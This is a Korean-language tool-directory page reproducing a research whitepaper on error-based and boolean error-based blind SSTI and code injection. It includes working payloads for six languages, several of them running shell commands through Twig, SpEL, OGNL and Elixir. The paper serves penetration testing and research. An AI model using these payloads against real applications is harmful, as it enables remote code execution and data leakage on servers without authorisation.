Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
Research_Successful_Errors — SSTI 및 코드 인젝션을 위한 오류 기반(Error-Based) 및 부울 오류 기반(Boolean Error-Based) 블라인드 기법을 소개하는 백서입니다. 여섯 가지 프로그래밍 언어에 대한 범용 페이로드와 SSTImap에의 통합을 포함합니다. | Kitploit
도구/GitHubGitHub/vladko312/research_successful_errors
Vulnerability AnalysisCode AnalysisWeb Application ExploitationFuzzingCTFPenetration TestingPapers & ResearchLearning & EducationPayload Development

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
GitHubvladko312/research_successful_errors

Research_Successful_Errors

SSTI 및 코드 인젝션을 위한 오류 기반(Error-Based) 및 부울 오류 기반(Boolean Error-Based) 블라인드 기법을 소개하는 백서입니다. 여섯 가지 프로그래밍 언어에 대한 범용 페이로드와 SSTImap에의 통합을 포함합니다.

저장소 보기
121135개월 전Kitploit 검토 완료

Successful Errors: 새로운 코드 인젝션 및 SSTI 기법

보고서 버전 최종 수정일

[!NOTE] 이 백서는 SSTImap 버전 1.3.1을 출시하기 전에 발표한 결과를 바탕으로 한 두 번째 버전입니다. 향후 개선 사항은 추후 연구 버전 1.2 형태로 이 형식에 맞게 조정될 예정입니다.

  • 페이로드
  • 출력 가능한 백서
  • 슬라이드

일부 취약점 카테고리는 처음 보기에는 잘 알려져 있고 다소 명확해 보일 수 있습니다. 해당 취약점에 대한 모든 가능한 기법이 알려져 있어서 드문 경우에만 페이로드가 발견될 것처럼 보일 수 있습니다. 서버 측 템플릿 인젝션(SSTI)과 코드 인젝션은 종종 그런 잘 알려진 카테고리로 간주됩니다.

때로는 이러한 취약점에 대해 이름만으로 설명되는 새로운 기법이 등장하기도 합니다. 많은 연구자들은 그 기법 역시 잘 알려져 있거나 심지어 사용해 본 적이 있다고 생각할 수 있지만, 실제로는 그 기법이 연구, 설명 또는 범용 페이로드 없이 흔히 알려진 이름으로만 존재할 수 있습니다. 매우 특수한 경우에 대한 페이로드와 함께 몇 번 언급될 수 있지만, 실제로 테스트되지는 않았고 그 기법의 실제 잠재력은 수년간 발견되지 않을 수 있습니다.

본 연구에서는 코드 인젝션과 SSTI를 위한 두 가지 기법인 Error-Based(오류 기반) 및 Boolean Error-Based Blind(블리언 오류 기반 블라인드)를 소개합니다. 저는 여섯 가지 프로그래밍 언어(Python, PHP, Java, Ruby, NodeJS, Elixir)에 대한 코드 인젝션 및 SSTI 페이로드를 제공할 것입니다. 또한 블라인드 인젝션조차 신속하게 탐지할 수 있는 범용 탐지 페이로드를 제공할 것입니다.

본 연구의 전체 타임라인을 초기의 단서부터 최종 결론까지 제공하겠습니다. 또한 이 연구에서 다루지 않은 프로그래밍 언어 및 템플릿에 대한 새로운 페이로드를 만드는 과정도 살펴보겠습니다.

본 연구에서는 새로운 기법의 실제 적용 사례를 보여주고 추가 연구가 가능한 영역을 공유하겠습니다. 제공된 모든 페이로드는 실제 애플리케이션에서 취약점을 탐지하고 악용하는 데 사용할 수 있습니다. 또한 제공된 모든 페이로드는 오픈소스 도구 SSTImap에 추가되어, 이 연구 결과를 실제 대상에 더 쉽게 적용할 수 있도록 했습니다.

목차

  • 서론
  • 단서
    • Dust.JS
    • Twig (CVE-2022-23614)
    • JSONPath Plus (CVE-2025-1302)
    • expr-eval (CVE-2025-13204)
  • Error-Based SSTI
    • Python
    • PHP
    • Java
    • Ruby
    • NodeJS
    • Elixir
    • 범용 탐지
    • 페이로드 개발
  • Boolean Error-Based Blind SSTI
    • 오류 탐지
    • Python
    • PHP
    • Java
    • Ruby
    • NodeJS
    • Elixir
    • 범용 탐지
    • 페이로드 개발
  • 실제 적용
    • expr-eval (CVE-2025-13204)
    • JSONPath Plus (CVE-2025-1302)
    • Twig (CVE-2022-23614)
    • Dust.JS
  • 결론
  • 참고 문헌

서론

서버 측 템플릿 인젝션 취약점은 템플릿 엔진이 서버 측 렌더링에 사용되는 동적 웹사이트에서 발생하며, 신뢰할 수 없는 사용자 입력이 템플릿 엔진에 의해 처리되기 전에 템플릿에 삽입될 때 발생합니다. 악의적인 공격자는 유효한 템플릿 구문을 삽입할 수 있으며, 이 구문은 페이지 렌더링 중에 템플릿 엔진에 의해 처리됩니다. 많은 템플릿 엔진은 어느 정도의 코드 실행 기능을 제공하며, 이는 종종 대상 서버에서 원격 코드 실행(RCE)으로 이어집니다. 본 연구는 악용 시 그러한 기능을 제공하는 템플릿 엔진에 초점을 맞추고 있습니다.

SSTI 취약점은 2015년부터 알려져 왔으며, 그동안 정보 유출, 필터 우회 및 샌드박스 탈출을 위한 많은 페이로드가 발견되었습니다. 그럼에도 불구하고 대부분의 페이로드는 결과를 페이지에 직접 렌더링하거나 코드 실행 자체의 사실에 초점을 맞추며, 해당 코드가 생성한 결과는 무시합니다.

렌더링된 인젝션 흐름

또 다른 잘 알려진 SSTI 기법은 시간 기반 블라인드로, 실행된 셸 명령에 지연을 추가하는 방법입니다. 이 기법은 주입된 코드 실행의 성공 여부를 판단할 수 있지만, OS 명령 실행을 위한 페이로드를 추측해야 하므로 연구자에게 알려지지 않은 템플릿 엔진에서 블라인드 SSTI를 탐지하기 어렵게 만듭니다.

시간 기반 블라인드 인젝션 흐름

SSTI 취약점 클래스와 두 가지 알려진 악용 기법은 2015년 James Kettle에 의해 발견되었습니다. 이 기법들은 그의 연구 "Server-Side Template Injection: RCE For The Modern Web App" 에 매우 자세히 설명되어 있습니다. [^1] 그 후 10년 동안 새로운 악용 기법은 문서화되지 않았습니다. 2023년에야 하나의 탐지 기법이 발견되었는데, 이는 다국어(polyglot) 페이로드를 사용하여 여러 템플릿 엔진을 동시에 테스트하는 방법입니다. 이 기법은 Maximilian Hildebrand에 의해 발견되었으며, 그의 연구 "Improving the Detection and Identification of Template Engines for Large-Scale Template Injection Scanning" 에 설명되어 있습니다. [^2] 이 기법은 최소한의 요청으로 템플릿 엔진을 식별하는 데 초점을 맞추고 있지만, 간단한 인젝션 컨텍스트에서만 작동합니다.

다국어 기반 탐지 흐름

PHP, NodeJS, Python과 같은 해석형 프로그래밍 언어를 기반으로 하는 대부분의 템플릿 엔진은 해당 프로그래밍 언어의 표현식을 직접 평가할 수 있습니다. 이 기능을 통해 템플릿 태그의 올바른 형식으로 감싸서 더 광범위한 코드 인젝션 취약점 카테고리에 대한 페이로드를 사용할 수 있습니다.

코드 인젝션은 SSTI 없이도 발생할 수 있으며, 신뢰할 수 없는 사용자 입력이 eval() 또는 유사한 위험한 함수에 도달할 때 발생합니다. 종종 코드 인젝션 악용은 해당 언어로 프로그래밍하는 것에 불과하다고 간주되므로, 기법과 페이로드는 특정 취약점 예시에 대해서만 문서화되며, 이는 대상 애플리케이션에 맞게 코드를 조정해야 합니다.

코드 인젝션과 SSTI에 대한 보다 보편적인 탐지 기법의 부재는 블라인드 코드 및 템플릿 인젝션에 대한 블랙박스 스캐닝의 비효율성을 초래합니다.

본 연구에서는 코드 인젝션과 SSTI를 위한 두 가지 새로운 기법과 여섯 가지 프로그래밍 언어에 대한 페이로드, 그리고 범용 탐지 페이로드를 제공할 것입니다. 제공되는 기법은 블라인드 SSTI 악용의 기능을 확장할 뿐만 아니라, 주입된 코드의 프로그래밍 언어를 추측하지 않고도 블라인드 코드 인젝션 및 SSTI 스캐닝을 가능하게 합니다.

본 연구에서 제공하는 페이로드는 실제 웹 애플리케이션의 실무적 침투 테스트를 목표로 합니다. 제시된 모든 페이로드는 SSTI 및 코드 인젝션 탐지를 위한 오픈소스 도구인 SSTImap [^3] 의 모듈에 통합되어 있습니다. 두 가지 새로운 기법과 해당 페이로드에 대한 지원은 버전 1.3.0에 추가되었습니다. 본 연구에서 제공되는 새로운 기법의 실제 적용을 위한 덜 일반적이고 더 구체적인 페이로드는 "extra" 모듈을 위한 전용 저장소 [^4] 에서 찾을 수 있는 추가 SSTImap 모듈에 통합되어 있습니다.

단서

SSTImap 모듈용 페이로드를 개발하는 동안 저는 제한 사항과 발견점을 만났으며, 이는 본 연구에서 제시하는 기법으로 이어지는 단서 역할을 했습니다. 기존 기법을 사용하여 주입된 코드의 출력을 얻을 수 없는 다양한 SSTI 및 코드 인젝션 시나리오를 접했습니다. 이러한 제한 사항을 만나는 동안 출력을 얻기 위해 다양한 아이디어를 테스트했으며, 결국 본 연구에서 문서화된 두 가지 새로운 기법의 발견으로 이어졌습니다.

Dust.JS

잠재적인 한계를 암시하는 첫 번째 단서는 Dust.JS 템플릿 엔진에 대한 페이로드를 업데이트하는 동안 접했습니다. 이 엔진은 구식으로 간주되며 버려진 것으로 보이며, 코드 실행은 2015년의 오래된 dustjs-helpers 버전에서만 가능했습니다. 이 엔진에 대한 SSTImap 모듈은 Tplmap [^5] 코드베이스에서 상속받았으며 개선은 낮은 우선순위 작업이었지만, 이 모듈은 간단한 로직 없는 템플릿 엔진의 경우 많은 오탐을 유발했습니다.

Dust.JS if 블록

문제를 해결하기 위해 페이로드를 개선했지만, 템플릿 엔진과 그 페이로드가 저의 관심을 끌었습니다. 코드 인젝션은 if 블록의 조건 내에서 가능했으며, 이 조건은 직접 eval()에 전달되었습니다. [^6] 결과는 페이지에 표시되지 않았기 때문에, 반영형 SSTI의 경우에도 RCE는 항상 블라인드일 것으로 간주되었습니다.

Dust.JS eval 경고

당시에는 오래된 템플릿 엔진을 연구하여 새로운 페이로드를 만드는 것이 우선순위가 매우 낮았기 때문에, 출력을 얻을 수 있는 잠재적인 방법을 조사하지 않기로 결정했습니다.

Twig (CVE-2022-23614)

두 번째 단서는 Twig 템플릿 엔진의 새로운 버전에 대한 페이로드를 개발하는 동안 접했습니다. 초기 버전에 대한 페이로드는 이미 수정되었기 때문에, 업데이트된 페이로드로 새 모듈을 만들기로 결정했습니다. Twig를 악용하는 더 현대적인 방법을 찾는 과정에서 CVE-2022-23614를 발견했으며, 이는 최신 버전에서 일반적인 페이로드 중 하나를 사용하여 샌드박스 우회를 허용했습니다. [^7]

새로운 SSTImap 모듈을 위해 저는 해당 샌드박스 우회 악용이 가능한 페이로드를 사용하기로 결정했는데, 이는 최신 페이로드로 악용 가능한 거의 모든 Twig 버전에서도 작동했기 때문입니다.

샌드박스 우회는 PHP 함수 이름을 포함하는 문자열을 |sort 필터의 매개변수로 전달하여 가능하며, 이로 인해 템플릿이 두 배열 요소를 인수로 하여 해당 함수를 호출하게 됩니다. Dust.JS의 경우와 유사하게, 함수의 출력은 내부적으로 조건(이번에는 배열 정렬을 위한 조건)으로 사용되므로 템플릿 컨텍스트로 다시 전달되지 않습니다. 이러한 제한은 악용을 방해하지 않습니다. PHP의 system() 함수는 OS 명령 실행 결과를 웹 페이지에 직접 출력하기 때문에 템플릿 엔진을 우회하여 출력을 얻을 수 있기 때문입니다.

우회 기법이나 새로운 SSTI 악용 기법의 일부로 템플릿 엔진 내에서 출력을 얻을 가능성에 대해 궁금증이 생겼습니다. Twig용 새 모듈을 만드는 데 필요하지 않았기 때문에, 템플릿 내에서 인젝션 결과에 접근하기 위한 새로운 페이로드 개발에 시간을 할당하지 않기로 결정했습니다.

CVE-2022-23614 설명

JSONPath Plus (CVE-2025-1302)

Node.JS 모듈 JSONPath Plus의 버전 10.3.0 이전에서 발견된 CVE-2025-1302 취약점은 jsonpath의 확장된 조건 구문 내에서 함수 생성자에 접근하여 임의의 JavaScript 코드를 주입할 수 있게 합니다. [^8] 저는 CVE-2025-1302의 서버 측 jsonpath 인젝션 경우에 대해 자동 탐지 및 악용을 위한 새로운 추가 SSTImap 모듈을 만들기로 결정했습니다.

CVE-2025-1302 PoC

Dust.JS와 마찬가지로 코드 인젝션은 조건 내에서만 가능했기 때문에 출력을 얻어 페이지에 렌더링할 직접적인 방법이 없었습니다. 그럼에도 불구하고 출력을 추출할 가능성을 조사하기로 결정했고, 이는 결국 본 연구에서 논의된 발견으로 이어진 세 번째 단서가 되었습니다.

JSONPath Plus 모듈은 JSON 객체 내의 데이터에 접근하는 데 사용됩니다. JavaScript와 같은 많은 해석형 프로그래밍 언어에서 이러한 객체는 리소스 소비를 제한하기 위해 종종 암시적으로 포인터로 작동합니다. 동시에 JSONPath Plus 모듈은 @root 구문을 사용하여 검색 중인 객체에 접근할 수 있게 합니다. 조건 내에서 주입된 코드에 해당 객체를 전달하는 방법을 찾았으며, 이를 통해 출력을 객체 속성에 저장한 후 주입된 jsonpath 구문을 사용하여 접근할 수 있었습니다.

이 방법은 반영형 코드 인젝션 시나리오에서 악용 가능한 인젝션 컨텍스트를 크게 제한하기 때문에 보편적인 출력 접근 방식과는 거리가 멉니다. 프로토타입 오염과 같은 다른 잠재적인 출력 추출 방법도 조사했지만, 더 보편적인 기법을 발견하지는 못했습니다. 그럼에도 불구하고 이번에는 조건에서 출력을 추출할 수 있었습니다.

expr-eval (CVE-2025-13204)

이전의 모든 사례가 페이로드 개발 중에 제한 사항을 만난 반면, 이 연구로 이어진 마지막 단서는 실제 애플리케이션을 탐색하는 동안 발견되었습니다. 저는 Discord용 노코드 봇 생성기를 테스트하고 있었는데, 이 생성기는 사용자가 메시지 템플릿을 사용자 정의할 수 있게 했습니다. 그 목적으로 사용된 템플릿 엔진 자체는 코드를 평가하지 않았지만, 수학 표현식을 평가하기 위한 전용 태그가 있었습니다.

해당 태그에서 반환된 다양한 오류 메시지를 조사함으로써 표현식이 expr-eval이라는 Node.JS 모듈을 사용하여 평가된다는 것을 확인했습니다. 이 모듈은 Object 생성자에 접근하여 임의의 속성 접근을 허용함으로써 RCE를 가능하게 합니다(CVE-2025-13204). 저는 템플릿 태그의 구문을 깨뜨리지 않도록 페이로드를 수정했지만, 코드 실행 결과 대신 NaN만 얻었습니다.

페이로드가 NaN 반환

expr-eval의 결과가 템플릿 엔진에 의해 숫자로 변환되는 것으로 보이며, 이는 코드 실행 출력의 반영을 방지합니다. 그러나 결과는 성공적인 평가의 경우에만 숫자로 변환됩니다. 오류가 발생하면 템플릿은 태그를 오류의 전체 텍스트로 대체하며, 이 텍스트에는 때때로 제 코드의 일부가 포함됩니다.

오류가 표시됨

오류 메시지의 해당 부분을 통해 코드 실행 결과를 추출할 가능성을 조사하기로 결정했습니다. 특별히 트리거된 오류 메시지를 통해 SQL 쿼리를 추출할 수 있는 기법이 존재합니다. [^9] 저는 코드 인젝션과 SSTI에 대해 유사한 기법이 존재할 것이라고 가정했습니다.

Error-Based SQL 인젝션 설명

"Error-based SSTI" 및 이와 유사한 SSTI 및 코드 인젝션 기법의 다른 잠재적 이름을 검색해 보았지만, 2023년의 단일 연구 논문에서 나온 오류 기반 다국어(polyglot)와 오류 메시지를 통해 템플릿 엔진을 결정하는 기법만 찾을 수 있었습니다. 제가 찾던 것과 비슷한 유일한 결과는 연구자 Nicolas Verdier가 만든 Freemarker 템플릿에 대한 단일 페이로드였습니다. [^10]

Freemarker 페이로드

해당 페이로드는 조건부로 오류를 트리거하여 블라인드 인젝션의 경우 코드 실행 성공 여부를 판단할 수 있게 했습니다. SQL 인젝션에도 유사한 기법이 존재하며, 이는 코드 인젝션과 SSTI에도 유사한 기법이 작동할 수 있다는 제 가정을 확인시켜 주었습니다.

제가 찾고 있던 기법이 이전에 문서화되지 않았다는 것을 깨달았고, 필요한 페이로드를 개발하기 위해 이 연구를 수행하기로 결정했습니다. 또한 이 기법을 제 오픈소스 도구 SSTImap에 추가하기로 결정했습니다.

Error-Based SSTI

코드 실행 결과를 오류 메시지의 일부로 포함하는 오류를 트리거할 수 있는 페이로드를 개발하기로 결정했습니다. 유사한 기법이 이미 SQL 인젝션에 존재합니다. 예를 들어 SQL에서 CONVERT(INT, …)는 문자열을 숫자로 변환합니다. 문자열이 유효한 숫자를 나타내지 않으면 데이터베이스는 해당 문자열을 포함하는 오류 텍스트를 반환합니다. 해당 오류 메시지가 사용자에게 표시된다면, 블라인드 인젝션에서도 출력을 얻을 수 있습니다.

유사한 접근 방식이 SSTI와 코드 인젝션에도 사용될 수 있습니다. 일부 오류 메시지는 사용자가 제공한 데이터를 반영하므로, 이러한 오류를 사용하여 주입된 코드의 출력을 얻을 수 있습니다.

Error-Based 인젝션 흐름

프로그래밍 언어는 일반적으로 사용자 정의 오류 메시지로 오류를 생성할 수 있지만, 취약점 악용 중에 이러한 기능을 직접 사용하는 것은 종종 불가능합니다. 대부분의 경우 인젝션은 표현식 평가만 허용하므로, 주입된 코드가 오류를 발생시키거나 새로운 오류 클래스를 생성하는 데 필요한 언어 구문을 사용할 수 없습니다. 더 나은 적용 범위를 위해 페이로드를 보다 보편적으로 만들기 위해, 기본 연산자, 리터럴 및 함수 호출만 허용되는 언어 표현식 컨텍스트의 인젝션에 초점을 맞추기로 결정했습니다.

따라서 이 기법을 사용한 SSTI 및 코드 인젝션 악용을 위해 사용자 제공 데이터를 반영하는 오류 메시지를 찾아야 했습니다. 대부분의 경우 코드 인젝션 페이로드는 템플릿 태그로 감싸서 SSTI를 악용하는 데 사용될 수 있습니다. 본 연구의 일부로, 저는 다섯 가지 프로그래밍 언어(Python, PHP, Ruby, NodeJS, Elixir)에 대한 페이로드와 SSTImap이 지원하는 템플릿 엔진에 대한 페이로드를 다룰 것입니다(해당 페이로드가 해당 프로그래밍 언어의 페이로드와 크게 다른 경우). 또한 Java 기반 템플릿 엔진에 대한 페이로드와 범용 탐지 페이로드도 이 문서에서 다룰 것입니다.

Python

연구 초기에 저는 일상 업무에서 자주 사용하는 Python 프로그래밍 언어에 대한 페이로드를 찾기로 결정했습니다. 처음에는 SQL 인젝션과 동일한 원리를 적용하여 문자열을 정수로 변환해 보았습니다. 이 경우 오류 메시지가 실제로 사용자가 제공한 문자열을 반영하지만, 큰 문자열은 잘려서 처음 199자만 반영될 수 있음을 곧 발견했습니다.

문자열이 잘림

사용자가 제공한 문자열을 임의의 길이로 반영할 수 있는 다른 오류 메시지를 찾기로 결정했습니다. getattr() 함수를 사용하여 존재하지 않는 속성에 접근하면 그러한 오류가 발생하는 것으로 나타났습니다. 그 결과 getattr("", OUTPUT)을 페이로드로 얻었으며, 이는 길이 제한 없이 문자열 OUTPUT을 반영합니다.

긴 파일도 추출 가능

이 페이로드는 테스트된 모든 Python 기반 템플릿 엔진에서 작동하지만, Jinja2는 Python getattr() 함수를 호출하기 위해 약간의 수정이 필요했습니다.```python3 {{ cycler.init.globals.builtins.getattr("", OUTPUT) }}

root@kitploit:~
추가로, Jinja2 템플릿 엔진의 경우 *TemplateNotFound* 오류를 유발하는 또 다른 페이로드를 발견했습니다: `{% include OUTPUT %}`. 이 페이로드는 SSTImap의 기존 Jinja2 모듈에 추가되었습니다.

![Jinja2 error](https://assets.kitploit.com/production/public/readmes/10936/62b21955cb2095d8dffa831b8024a1f0b1d273e0a0749006a621c78996b51a5d.png)

### PHP
PHP 코드 인젝션의 오류 기반(Error-Based) 공격을 위해, 다양한 템플릿 엔진에 대해 적용 가능성이 다른 여러 오류 메시지를 발견했습니다.
예를 들어, PHP는 문자열 내용과 동일한 이름의 함수로 문자열을 호출할 수 있습니다. 그러한 함수가 존재하지 않으면 생성된 오류 메시지에 제공된 전체 문자열이 포함됩니다. 그 결과 간단한 페이로드를 얻을 수 있습니다: `OUTPUT()`

이 페이로드는 대부분의 템플릿 엔진에서 작동하지 않아, 계속 연구하여 `fopen()` 함수를 사용하여 존재하지 않는 파일을 열려고 할 때 발생하는 오류를 발견했습니다. 이 페이로드는 테스트된 거의 모든 템플릿 엔진에서 작동합니다: `fopen(OUTPUT, "r")`

또한 비슷한 오류를 유발하는 `include()` 함수를 발견했습니다. 페이로드 `include(OUTPUT)` 또는 이와 유사한 페이로드는 템플릿 상속 기능을 제공하는 대부분의 템플릿 엔진에서 사용할 수 있습니다.

`fopen()` 및 `include()`를 사용한 페이로드는 일부 경우에 실패했습니다. 알고 보니 해당 함수들은 PHP **경고(Warnings)**를 발생시키며, 이는 우리가 접근할 수 없는 템플릿 출력 내에서 렌더링될 수 있었습니다.

PHP 특정 구문을 사용하지 않고 문자열을 함수로 호출하기 위해 첫 번째 페이로드를 `call_user_func()`을 사용하여 수정하기로 결정했습니다. 그 결과 페이로드 `call_user_func(OUTPUT)`을 얻었으며, 이는 **치명적 오류(fatal error)**를 유발하여 렌더링을 중단시키고 오류 메시지를 페이지에 직접 반영합니다.

![PHP payload and error](https://assets.kitploit.com/production/public/readmes/10936/3f539c6ae4bde73fb99c253e845686869b1eb12d0dc2f5c3c8d19af95c0d8893.png)

RCE에 흔히 사용되는 `system()` 함수는 출력을 페이지에 출력하지만 결과의 첫 번째 줄만 반환합니다. 전체 출력을 캡처하기 위해 `shell_exec()`를 사용하기로 결정했습니다. 이 함수는 정확히 하나의 인수를 받으므로, 이전 버전의 **Twig**를 포함한 대부분의 템플릿 엔진에서 잘 작동했습니다:```php
{{_self.env.registerUndefinedFilterCallback("shell_exec")}}
{%set OUTPUT=_self.env.getFilter("ls -la")%}

최신 Twig 버전에서는 출력을 유지하기 위해 |map 필터를 사용했지만, 배열 인덱스를 두 번째 요소로 전달하여 shell_exec() 함수를 직접 사용하는 것이 불가능했습니다. 이 제한을 우회하기 위해 call_user_func() 함수를 사용하여 shell_exec()를 호출하고, 배열 대신 딕셔너리를 사용하여 인덱스 값을 제어했습니다:```php {% set OUTPUT={"ls -la": "shell_exec"}|map("call_user_func")|join %}

root@kitploit:~
Twig에서 오류를 트리거하고 실행 결과를 얻으려면 존재하지 않는 함수를 호출하는 **치명적 오류** 페이로드 `{{ [0]|map(OUTPUT) }}` 또는 존재하지 않는 파일을 포함하는 `{% include(OUTPUT) %}`를 사용할 수 있습니다.

![Twig error message](https://assets.kitploit.com/production/public/readmes/10936/2a7d471317458f90a23da3e811d93ed1c9e461bd637dee7f75eef1e4e87744ba.png)

### Java
Java는 범용 내장 코드 평가 기능을 제공하지 않으므로 Java용 범용 페이로드는 존재하지 않습니다.
대신 **Spring Expression Language**(**SpEL**)와 같은 표현 언어가 사용됩니다.
해당 언어의 경우 문자열을 숫자로 변환하는 간단한 트릭을 사용할 수 있습니다.```java
"".getClass().forName('java.lang.Integer').valueOf(OUTPUT)

이 페이로드는 다른 유사한 표현 언어에서도 작동합니다. SpEL 구문을 확인하려면 SpEL 특유의 클래스 접근 방식을 사용할 수 있습니다: T(java.lang.Integer).valueOf(OUTPUT) OS 명령 실행 결과를 문자열로 얻으려면 다음 페이로드를 사용합니다:```java T(java.lang.String).getConstructor(T(byte[])).newInstance(T(java.lang.Runtime).getRuntime().exec("…").inputStream.readAllBytes())

root@kitploit:~
![SpEL 오류 메시지](https://assets.kitploit.com/production/public/readmes/10936/f162ff2fe1b9b1a081cb85d6c64102a74426d768f1a2601949b93ccb5103d118.png)

Java에서 사용되는 또 다른 일반적인 표현 언어는 **OGNL**입니다.
이 언어는 사용자 제공 문자열이 산술 연산에 사용될 때 해당 문자열을 포함하는 오류를 발생시킵니다: `OUTPUT/0`

RCE 결과는 다음 페이로드를 사용하여 문자열로 변환할 수 있습니다:```java
new String(@java.lang.Runtime@getRuntime().exec("…").inputStream.readAllBytes())

또한 SSTImap이 지원하는 두 가지 Java 기반 템플릿 엔진을 위한 페이로드를 만들었습니다.

예를 들어, Freemarker 템플릿은 해당 클래스의 이름을 포함하는 문자열에 ?new() 필터를 적용하여 제한된 객체 생성을 허용합니다. 그러한 클래스가 존재하지 않으면 오류 메시지에 전체 문자열이 반영됩니다. 이는 간단한 페이로드를 만드는 데 사용될 수 있습니다: ${ OUTPUT?new() }

Freemarker 오류 메시지

Velocity 템플릿 엔진은 #include() 지시문을 사용한 템플릿 포함을 지원합니다. 존재하지 않는 템플릿의 경우 오류 메시지가 제공된 이름을 반영합니다: #include(OUTPUT)

Velocity 오류 메시지

Ruby

Ruby용 페이로드는 코드 인젝션과 SSTI 모두에 사용될 수 있으며, 이 기술에서 흔히 사용되는 존재하지 않는 파일에 접근할 때 발생하는 오류를 이용합니다: File.read(OUTPUT)

Ruby 페이로드 및 오류 메시지

NodeJS

NodeJS에서 오류 기반 코드 인젝션을 위해, 인젝션 컨텍스트에서 require() 함수에 접근할 수 있다면 존재하지 않는 모듈을 포함시켜 오류를 발생시킬 수 있습니다: require(OUTPUT)

또는 JavaScript는 undefined의 속성에 접근하여 반영 오류를 발생시킵니다: ""["x"][OUTPUT]

Elixir

Elixir 프로그래밍 언어는 문자열이 atom 객체 대신 리스트 인덱스로 사용될 때 오류 메시지 내에 해당 문자열을 반영합니다: [1, 2][OUTPUT]

OS 명령 실행 결과는 [1, 2][elem(System.shell(" … "), 0)]을 사용하여 반영될 수 있습니다.

Elixir 오류 메시지

일반 탐지

SSTI 및 코드 인젝션의 오류 기반 탐지를 위해서는 모든 프로그래밍 언어에서 오류를 유발하는 페이로드가 필요합니다. 이 경우 일반적인 오류 메시지로 프로그래밍 언어를 탐지하거나, 아직 지원되지 않는 프로그래밍 언어라면 최소한 오류의 존재를 나타내는 키워드를 찾을 수 있습니다.

이러한 페이로드를 만들기 위한 첫 번째 아이디어는 0으로 나누기를 사용하는 것이었지만, JavaScript와 같은 일부 프로그래밍 언어는 그러한 페이로드를 오류로 처리하지 않고 단순히 NaN을 반환합니다. 이러한 경우를 처리하기 위해 정의되지 않은 함수 호출을 추가하기로 결정했습니다: (1/0)+zxy()

새 페이로드는 NodeJS에서 오류를 유발했지만, 일부 PHP 기반 템플릿 엔진에서는 다른 구문 오류를 유발하여 프로그래밍 언어 탐지를 복잡하게 만들었습니다.

템플릿 파싱 중에 존재하지 않는 함수의 조기 탐지를 피하기 위해, undefined의 속성에 접근할 때 발생하는 오류를 사용하도록 페이로드를 업데이트하기로 결정했습니다. 속성 접근은 첫 번째 부분의 평가를 필요로 하는 반면, PHP에서 문자열 연결의 경우 모든 부분이 0으로 나누기부터 런타임에 평가됩니다. 결과적으로, 일반적인 인젝션에서 자세한 오류 메시지 반영을 탐지할 수 있는 페이로드를 만들었습니다: (1/0).zxy.zxy

SSTImap 모듈에 대해 지원되는 다섯 가지 프로그래밍 언어 모두에 대한 일반적인 오류 메시지 탐지와, 프로그래밍 언어나 템플릿 엔진이 아직 지원되지 않는 경우 오류 유형을 탐지하기 위한 키워드 검색을 추가했습니다.

SSTImap에서 일반 탐지 페이로드로 탐지된 Groovy 템플릿 인젝션

페이로드 개발

자세한 오류 반영을 탐지하고 오류 텍스트로 프로그래밍 언어를 결정한 후에도, 오류 기반 RCE를 위한 페이로드를 만들기 위해 사용자 제공 값을 반영하는 오류 메시지를 찾아야 합니다. 일반적으로 이러한 오류는 존재하지 않는 파일 및 모듈에 접근할 때, null 또는 undefined와 같은 특수 객체와의 비정상적인 상호 작용 중, 그리고 존재하지 않는 함수, 클래스 또는 속성의 경우에 유발될 수 있습니다. 이와 반대로, 구문 오류는 주입된 코드 평가가 발생하기 전에 템플릿 파싱을 중단시키므로 데이터 유출 기능을 제공하지 않습니다.

성공적인 자동화된 익스플로잇을 위해서는 길고 여러 줄의 텍스트가 잘리지 않는지 확인해야 합니다. 또한 결과가 오류를 유발하지 않는 유효한 값과 동일해지는 상황을 방지하는 것이 중요합니다. 이러한 경우 출력을 무효로 만드는 접두사를 추가해야 합니다. 예를 들어, 대상 웹 사이트가 Y:/A:/로 시작하는 파일, 클래스 또는 속성을 가질 가능성은 매우 낮습니다.

부울 오류 기반 블라인드 SSTI

대부분의 최신 웹 서버 및 애플리케이션은 자세한 오류 출력을 비활성화하여 오류 기반 코드 인젝션 및 SSTI의 익스플로잇을 방지합니다. 이러한 경우 오류 메시지의 전체 텍스트를 얻는 것은 불가능하지만, 오류 자체는 일반적으로 여전히 탐지될 수 있습니다. 이를 통해 조건부로 유발된 오류를 탐지하여 블라인드 인젝션의 성공 여부를 결정할 수 있습니다.

사용자 정의 오류 페이지

실제로, 다른 응답은 블라인드 인젝션 결과를 노출할 수 있습니다. 예를 들어, 부울 기반 블라인드 SQL 인젝션의 경우 AND SUBSTRING((…), 1, 1) = 's'와 같은 페이로드는 대상 값이 문자 s로 시작하는 경우에만 결과를 반환합니다. 이 기술은 결과가 반환되지 않는 경우의 다른 애플리케이션 동작에 기반합니다. 이는 대부분의 코드 인젝션 및 SSTI 사례에는 적용되지 않습니다.

부울 기반 SQLi 설명

그러나 오류 기반 블라인드 SQL 인젝션이라는 유사한 기술이 존재하며, 이 기술에서는 대상 값을 사용하여 한 경우에만 조건부로 오류를 유발하고 다른 경우에는 중단하지 않습니다: CASE WHEN 1=1 THEN 1 ELSE json('') END

기본 오류 페이지

이러한 기술은 코드 인젝션 및 SSTI에 적용되도록 조정될 수 있습니다. 게다가, 저는 이전에 이 기술을 위한 페이로드를 이미 접한 적이 있습니다. 이는 이 연구에서 이전에 언급된 Nicolas Verdier의 Freemarker 템플릿 엔진을 위한 페이로드였습니다. [^10]

Freemarker 페이로드

